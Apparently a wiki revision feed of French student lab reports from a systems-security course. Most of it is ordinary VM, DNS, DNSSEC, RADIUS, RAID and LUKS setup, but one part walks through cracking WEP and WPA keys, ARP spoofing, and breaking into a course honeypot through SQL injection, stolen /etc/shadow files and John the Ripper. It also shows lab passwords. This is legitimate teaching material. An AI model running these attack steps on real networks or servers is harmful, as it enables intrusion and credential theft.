Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57836</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57836"/>
				<updated>2022-01-11T14:37:45Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Réalisations */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
